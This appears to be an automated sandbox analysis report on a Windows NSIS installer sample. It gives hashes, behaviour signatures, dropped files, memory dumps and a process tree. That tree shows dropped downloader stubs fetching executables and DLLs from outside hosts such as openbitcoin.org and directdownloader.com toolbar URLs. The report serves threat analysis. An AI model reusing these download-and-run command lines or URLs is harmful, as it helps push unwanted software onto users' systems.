Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/10/2024, 10:27

General

  • Target

    2f763a4400889fdf0d568453ca65187e_JaffaCakes118.exe

  • Size

    337KB

  • MD5

    2f763a4400889fdf0d568453ca65187e

  • SHA1

    8df052ec65fa8bdd6032958e95e0524f7663a06f

  • SHA256

    d8724e83148c91ba7e2587ae4671f472890669c9acbcc8bb0a4679736a9f9bd3

  • SHA512

    beea3b7583682958f356348eeb1afd854cf999b8f8132d74ef70a54bc4ba278e9700369d30b9ef3a113c2d0111db715f24bdf209bbba9fa540b402167a2b2605

  • SSDEEP

    6144:Yc63Az3ByIzhSGmynfC0lGf6ti1gO6XQgfU410hGogvIkeWusoTfwiN+dNaHyYth:2GRyIz9Jfng6ti1gO8FihGoEve9TIiIh

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 64 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NSIS installer 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2f763a4400889fdf0d568453ca65187e_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\2f763a4400889fdf0d568453ca65187e_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5096
    • C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\stub.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2904
    • C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\OpenCL.dll"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1452
    • C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\updater.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3080
    • C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\downloaderDDLR.exe
      C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\DirectDownloaderInstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:208
    • C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/GamesLeap79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\volcano.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3648
    • C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\pricepeep.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3048
    • C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\preinstaller.exe 0 "para sempre dublado" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4812
    • C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\preinstaller.exe 4 "para sempre dublado" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4084
    • C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/BitAcceleratorDDLRinstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\BitAcceleratorDDLRinstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2212
    • C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\preinstaller.exe 1 "para sempre dublado"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4452
    • C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\preinstaller.exe 3 "para sempre dublado"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2208

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\downloaderOFFER2.exe

    Filesize

    58KB

    MD5

    c7f6ed56312c8fbb58ae6ed445c38df4

    SHA1

    e2dba94ef052db774478b9f7198c1a2298b334e5

    SHA256

    fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

    SHA512

    ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

  • C:\Users\Admin\AppData\Local\Temp\3d1d8e3a841c0e89591bd75db02bd661\preinstaller.exe

    Filesize

    241KB

    MD5

    9d8fe8bcc4c493b2fd1da8d2b07ba57c

    SHA1

    aa9366eb9210c8a5398b5e55921c92ce8970df5b

    SHA256

    f33b7419880c7c90c999970e4c21febaaf6d39fdb02f9d9deafa8f8d97f3b3eb

    SHA512

    3fd58a0d7c870e8b07eb17f8f088d505ad98c7101733972f486a2946d18babfe0e4866ae28a16fe2481e006c26cbdf2d3eb1a2dd71bb44c084bbf14fea475216

  • C:\Users\Admin\AppData\Local\Temp\nsgD66C.tmp\Processes.dll

    Filesize

    35KB

    MD5

    2cfba79d485cf441c646dd40d82490fc

    SHA1

    83e51ac1115a50986ed456bd18729653018b9619

    SHA256

    86b302fa9c85dfa0c1c03ba000864a928365dab571f3355347dba02da22949b7

    SHA512

    cca186a7f9c5cff3f4eca410fbe8cc13dad2514a7e36aec9b1addfbcb239ace9b9b2d8427771858e3fd11783abce7e24d43c286f98da9f8b17562ca095a4c043

  • C:\Users\Admin\AppData\Local\Temp\nso8F41.tmp\NSISdl.dll

    Filesize

    14KB

    MD5

    a5f8399a743ab7f9c88c645c35b1ebb5

    SHA1

    168f3c158913b0367bf79fa413357fbe97018191

    SHA256

    dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

    SHA512

    824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

  • memory/2208-964-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/2208-1816-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/2208-393-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/2208-1242-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/2208-681-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/4084-50-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/4452-57-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/4812-47-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/5096-49-0x0000000000400000-0x0000000000440000-memory.dmp

    Filesize

    256KB

  • memory/5096-390-0x0000000000400000-0x0000000000440000-memory.dmp

    Filesize

    256KB

  • memory/5096-108-0x0000000000400000-0x0000000000440000-memory.dmp

    Filesize

    256KB

  • memory/5096-2665-0x0000000000400000-0x0000000000440000-memory.dmp

    Filesize

    256KB